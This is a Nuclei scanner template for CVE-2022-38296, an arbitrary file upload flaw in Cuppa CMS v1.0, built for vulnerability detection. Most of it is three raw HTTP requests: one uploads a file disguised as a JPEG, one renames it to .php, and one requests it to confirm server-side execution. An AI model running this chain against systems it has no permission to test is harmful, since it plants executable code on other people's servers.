id: CVE-2022-38296 info: name: Cuppa CMS v1.0 - Arbitrary File Upload author: theamanrawat severity: critical description: | Cuppa CMS v1.0 was discovered to contain an arbitrary file upload vulnerability via the File Manager. remediation: | Apply the latest patch or upgrade to a newer version of Cuppa CMS to mitigate this vulnerability. reference: - https://github.com/CuppaCMS/CuppaCMS - https://nvd.nist.gov/vuln/detail/CVE-2022-38296 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-38296 cwe-id: CWE-434 epss-score: 0.01636 epss-percentile: 0.86119 cpe: cpe:2.3:a:cuppacms:cuppacms:1.0:*:*:*:*:*:*:* metadata: verified: true max-request: 3 vendor: cuppacms product: cuppacms tags: cve,cve2022,rce,cuppa,intrusive http: - raw: - | POST /js/jquery_file_upload/server/php/ HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9MZjlIG8fVPjrlCI ------WebKitFormBoundary9MZjlIG8fVPjrlCI Content-Disposition: form-data; name="path" / ------WebKitFormBoundary9MZjlIG8fVPjrlCI Content-Disposition: form-data; name="unique_name" true ------WebKitFormBoundary9MZjlIG8fVPjrlCI Content-Disposition: form-data; name="resize_width" ------WebKitFormBoundary9MZjlIG8fVPjrlCI Content-Disposition: form-data; name="resize_height" ------WebKitFormBoundary9MZjlIG8fVPjrlCI Content-Disposition: form-data; name="crop" ------WebKitFormBoundary9MZjlIG8fVPjrlCI Content-Disposition: form-data; name="compress" ------WebKitFormBoundary9MZjlIG8fVPjrlCI Content-Disposition: form-data; name="files[]"; filename="test-{{randstr}}.jpg" Content-Type: image/jpeg ------WebKitFormBoundary9MZjlIG8fVPjrlCI-- - | POST /js/filemanager/api/index.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"from":"//{{filename}}","to":"//{{randstr}}.php","action":"rename"} - | GET /media/{{randstr}}.php HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: word part: body_3 words: - ed6bf8b1b4b8e64836455fe32b958c2c condition: and - type: word part: header_3 words: - text/html - type: status status: - 200 extractors: - type: regex name: filename group: 1 regex: - '"name":"(.*?)",' internal: true # digest: 4a0a004730450221009a3d3e91f3a03fc590108cd0ea1feea24635aa4819ed291b926a70608dddd2fd0220734627ffa89fd31d7e0a3b3d001751ecf112696ce0703a02fe56a4b22d5937c2:922c64590222798bb761d5b6d8e72950